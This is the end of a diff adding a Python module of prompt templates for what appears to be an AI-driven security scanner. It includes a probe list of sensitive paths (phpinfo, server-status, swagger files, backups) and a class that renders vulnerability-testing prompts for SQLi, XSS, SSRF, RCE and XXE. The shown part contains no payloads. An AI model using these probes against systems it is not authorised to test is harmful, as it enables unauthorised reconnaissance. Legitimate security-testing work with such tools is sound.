+ - /phpinfo.php, /server-status
533
+ - /swagger.json, /openapi.yaml
534
+ - Backup files (.bak, .old, ~)
535
+
536
+ OUTPUT FORMAT:
537
+ <finding>
538
+ <title>Information Disclosure: [type]</title>
539
+ <severity>medium|low|info</severity>
540
+ <description>What sensitive information is exposed</description>
541
+ <evidence>The disclosed information</evidence>
542
+ <location>Where the disclosure occurs</location>
543
+ <remediation>How to prevent the disclosure</remediation>
544
+ <cwe>CWE-200</cwe>
545
+ </finding>""",
546
+ user_prompt_template="Test {{ target }} for information disclosure vulnerabilities. Check for exposed configuration, errors, and sensitive files."
547
+ ))
548
+
549
+
550
+ class SkillPrompts:
551
+ """
552
+ Manager for security skill prompts.
553
+ Provides access to vulnerability-specific prompts with Jinja2 templating.
554
+ """
555
+
556
+ def __init__(self, custom_prompts_dir: Optional[Path] = None):
557
+ """Initialize with optional custom prompts directory."""
558
+ self.custom_prompts_dir = custom_prompts_dir
559
+ self._env: Optional[Environment] = None
560
+
561
+ if custom_prompts_dir and custom_prompts_dir.exists():
562
+ self._env = Environment(
563
+ loader=FileSystemLoader(str(custom_prompts_dir)),
564
+ autoescape=select_autoescape(['html', 'xml'])
565
+ )
566
+
567
+ def get_prompt(self, prompt_id: str) -> Optional[VulnerabilityPrompt]:
568
+ """Get a vulnerability prompt by ID."""
569
+ return VULNERABILITY_PROMPTS.get(prompt_id)
570
+
571
+ def get_all_prompts(self) -> Dict[str, VulnerabilityPrompt]:
572
+ """Get all registered vulnerability prompts."""
573
+ return VULNERABILITY_PROMPTS.copy()
574
+
575
+ def get_prompts_by_category(self, category: str) -> List[VulnerabilityPrompt]:
576
+ """Get all prompts in a specific category."""
577
+ return [p for p in VULNERABILITY_PROMPTS.values() if p.category == category]
578
+
579
+ def get_system_prompt(self, prompt_id: str) -> str:
580
+ """Get the system prompt for a vulnerability type."""
581
+ prompt = self.get_prompt(prompt_id)
582
+ return prompt.system_prompt if prompt else ""
583
+
584
+ def render_user_prompt(
585
+ self,
586
+ prompt_id: str,
587
+ target: str,
588
+ **kwargs
589
+ ) -> str:
590
+ """Render a user prompt template with variables."""
591
+ prompt = self.get_prompt(prompt_id)
592
+ if not prompt:
593
+ return f"Test {target} for security vulnerabilities."
594
+
595
+ # Use Jinja2 to render the template
596
+ from jinja2 import Template
597
+ template = Template(prompt.user_prompt_template)
598
+ return template.render(target=target, **kwargs)
599
+
600
+ def get_combined_prompt(
601
+ self,
602
+ prompt_ids: List[str],
603
+ target: str,
604
+ **kwargs
605
+ ) -> str:
606
+ """Combine multiple vulnerability prompts into one comprehensive prompt."""
607
+ prompts = [self.get_prompt(pid) for pid in prompt_ids if self.get_prompt(pid)]
608
+
609
+ if not prompts:
610
+ return f"Perform comprehensive security testing on {target}."
611
+
612
+ combined_system = "You are a comprehensive security testing expert with the following specializations:\n\n"
613
+
614
+ for i, prompt in enumerate(prompts, 1):
615
+ combined_system += f"{i}. {prompt.name}: {prompt.description}\n"
616
+
617
+ combined_system += "\n" + "\n\n---\n\n".join([p.system_prompt for p in prompts])
618
+
619
+ return combined_system
620
+
621
+ def list_prompt_ids(self) -> List[str]:
622
+ """List all available prompt IDs."""
623
+ return list(VULNERABILITY_PROMPTS.keys())
624
+
625
+
626
+ # Export commonly used prompts
627
+ SQLI_PROMPT = VULNERABILITY_PROMPTS.get("sqli")
628
+ XSS_PROMPT = VULNERABILITY_PROMPTS.get("xss")
629
+ IDOR_PROMPT = VULNERABILITY_PROMPTS.get("idor")
630
+ AUTH_PROMPT = VULNERABILITY_PROMPTS.get("auth")
631
+ SSRF_PROMPT = VULNERABILITY_PROMPTS.get("ssrf")
632
+ RCE_PROMPT = VULNERABILITY_PROMPTS.get("rce")
633
+ XXE_PROMPT = VULNERABILITY_PROMPTS.get("xxe")
634
+
635
+
636
+ __all__ = [
637
+ "SkillPrompts",
638
+ "VulnerabilityPrompt",
639
+ "VULNERABILITY_PROMPTS",
640
+ "SQLI_PROMPT",
641
+ "XSS_PROMPT",
642
+ "IDOR_PROMPT",
643
+ "AUTH_PROMPT",
644
+ "SSRF_PROMPT",
645
+ "RCE_PROMPT",
646
+ "XXE_PROMPT",
647
+ ]